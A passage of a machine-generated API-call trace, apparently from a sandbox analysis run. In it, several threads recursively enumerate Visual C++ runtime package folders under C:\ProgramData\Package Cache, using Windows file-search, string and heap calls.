	[0092.444] wcscmp (_String1="..", _String2="..") returned 0
	[0092.444] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.444] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.444] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.444] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.444] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1
	[0092.444] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1
	[0092.444] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.444] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33390) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33478) returned 1
	[0092.445] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.445] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a928) returned 1
	[0092.445] FindNextFileW (in: hFindFile=0x2d87238, lpFindFileData=0x2e260b8 | out: lpFindFileData=0x2e260b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.445] FindClose (in: hFindFile=0x2d87238 | out: hFindFile=0x2d87238) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e260b8) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61f20) returned 1
	[0092.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fc40) returned 1

Thread:
	id = 333
	os_tid = 0x145c

	[0076.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61fd0
	[0076.876] wcscpy (in: _Dest=0x2d61fd0, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0076.876] wcscat (in: _Dest=0x2d61fd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\"
	[0076.876] wcscat (in: _Dest=0x2d61fd0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*"
	[0076.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e25718
	[0076.876] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2e25718 | out: lpFindFileData=0x2e25718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d871f8
	[0079.938] wcscmp (_String1=".", _String2=".") returned 0
	[0079.938] FindNextFileW (in: hFindFile=0x2d871f8, lpFindFileData=0x2e25718 | out: lpFindFileData=0x2e25718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.938] wcscmp (_String1="..", _String2=".") returned 1
	[0079.938] wcscmp (_String1="..", _String2="..") returned 0
	[0079.938] FindNextFileW (in: hFindFile=0x2d871f8, lpFindFileData=0x2e25718 | out: lpFindFileData=0x2e25718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.938] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.938] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x476a868
	[0079.938] wcscpy (in: _Dest=0x476a868, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0079.939] wcscat (in: _Dest=0x476a868, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\"
	[0079.939] wcscat (in: _Dest=0x476a868, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0092.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c960
	[0092.446] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0092.446] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\"
	[0092.446] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*"
	[0092.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.446] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.446] wcscmp (_String1=".", _String2=".") returned 0
	[0092.446] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.446] wcscmp (_String1="..", _String2=".") returned 1
	[0092.446] wcscmp (_String1="..", _String2="..") returned 0
	[0092.446] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.446] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1
	[0092.447] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1
	[0092.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e528
	[0092.447] wcscpy (in: _Dest=0x491e528, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0092.447] wcscat (in: _Dest=0x491e528, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\"
	[0092.447] wcscat (in: _Dest=0x491e528, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0092.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e258
	[0092.447] wcscpy (in: _Dest=0x491e258, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0092.447] wcscat (in: _Dest=0x491e258, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\"
	[0092.447] wcscat (in: _Dest=0x491e258, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*"
	[0092.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.447] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.447] wcscmp (_String1=".", _String2=".") returned 0
	[0092.447] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.447] wcscmp (_String1="..", _String2=".") returned 1
	[0092.447] wcscmp (_String1="..", _String2="..") returned 0
	[0092.447] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.447] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.447] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.447] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.447] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1
	[0092.447] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1
	[0092.447] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.447] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e258) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e528) returned 1
	[0092.448] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.448] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a868) returned 1
	[0092.448] FindNextFileW (in: hFindFile=0x2d871f8, lpFindFileData=0x2e25718 | out: lpFindFileData=0x2e25718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.448] FindClose (in: hFindFile=0x2d871f8 | out: hFindFile=0x2d871f8) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e25718) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61fd0) returned 1
	[0092.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f7a8) returned 1

Thread:
	id = 334
	os_tid = 0x1460

	[0076.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d621e0
	[0076.877] wcscpy (in: _Dest=0x2d621e0, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0076.877] wcscat (in: _Dest=0x2d621e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\"
	[0076.877] wcscat (in: _Dest=0x2d621e0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*"
	[0076.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e25e50
	[0076.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2e25e50 | out: lpFindFileData=0x2e25e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87438
	[0079.938] wcscmp (_String1=".", _String2=".") returned 0
	[0079.938] FindNextFileW (in: hFindFile=0x2d87438, lpFindFileData=0x2e25e50 | out: lpFindFileData=0x2e25e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.938] wcscmp (_String1="..", _String2=".") returned 1
	[0079.938] wcscmp (_String1="..", _String2="..") returned 0
	[0079.938] FindNextFileW (in: hFindFile=0x2d87438, lpFindFileData=0x2e25e50 | out: lpFindFileData=0x2e25e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.938] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.938] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4769d28
	[0079.938] wcscpy (in: _Dest=0x4769d28, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0079.938] wcscat (in: _Dest=0x4769d28, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\"
	[0079.938] wcscat (in: _Dest=0x4769d28, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0092.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c960
	[0092.449] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0092.449] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\"
	[0092.449] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*"
	[0092.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.449] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.449] wcscmp (_String1=".", _String2=".") returned 0
